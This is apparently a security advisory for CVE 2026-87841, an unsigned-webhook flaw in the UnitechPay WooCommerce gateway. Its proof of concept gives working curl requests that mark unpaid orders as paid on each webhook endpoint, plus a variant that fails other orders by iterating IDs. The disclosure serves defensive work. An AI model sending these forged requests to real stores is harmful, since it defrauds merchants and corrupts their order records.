UnitechPay <= 1.0.6.3 – Unauthenticated Order Payment Bypass via Unsigned Webhook | CVE 2026-87841

Description

The plugin does not verify the authenticity of the payment notifications it receives, allowing unauthenticated attackers to mark orders placed through it as paid without any payment being made, as well as to force other orders into a failed state.

Proof of Concept

Prerequisites, all default or required for the plugin to function at all:

1. WooCommerce active, with a purchasable product published.
2. UnitechPay installed and activated, with a valid licence entered at WooCommerce > Settings > Payments > UnitechPay and the gateway enabled. The gateway hides itself at checkout without a valid licence, so this is the state of every live installation.
3. No plugin setting needs changing. There is no webhook secret or signature option to enable.

Steps:

1. As an ordinary shopper, add a product to the cart, go to checkout, select UnitechPay as the payment method, and place the order. Abandon the payment; do not pay. The order is created as pending with the UnitechPay payment method. Its ID is visible in the order-received URL.

State before the attack: status pending, is_paid 0, no payment date, total 100.00.

2. From anywhere on the internet, with no cookies, no account and no signature, send the forged notification. Substitute the order ID from step 1:

curl -s -i -X POST 'https://victim.example/unitechpay-orange-webhook' -H 'Content-Type: application/json' --data '{"order_id":17,"status":"completed","transaction_id":"POC-FORGED-123","payout_amount":0,"commission":0}'

Expected response: HTTP 200 with {"success":true,"data":"Webhook traite"}

3. Observe the order. It is now paid and completed with no funds received, carrying the attacker's transaction reference, and WooCommerce has sent the customer the order-complete email:

status completed, is_paid 1, date_paid stamped, transaction id POC-FORGED-123, with an order note recording the attacker-chosen payout amount and commission.

The same request works against all three of the plugin's webhook endpoints, /unitechpay-wave-webhook, /unitechpay-orange-webhook and /unitechpay-bictorys-webhook, and against each one's raw query-string form, so a site without pretty permalinks is equally affected:

curl -s -X POST 'https://victim.example/index.php?unitechpay_orange_webhook=1' -H 'Content-Type: application/json' --data '{"order_id":17,"status":"completed"}'

Tampering variant, which forces any order placed through the gateway into a failed state by iterating order IDs:

curl -s -X POST 'https://victim.example/unitechpay-wave-webhook' -H 'Content-Type: application/json' --data '{"order_id":15,"status":"failed"}'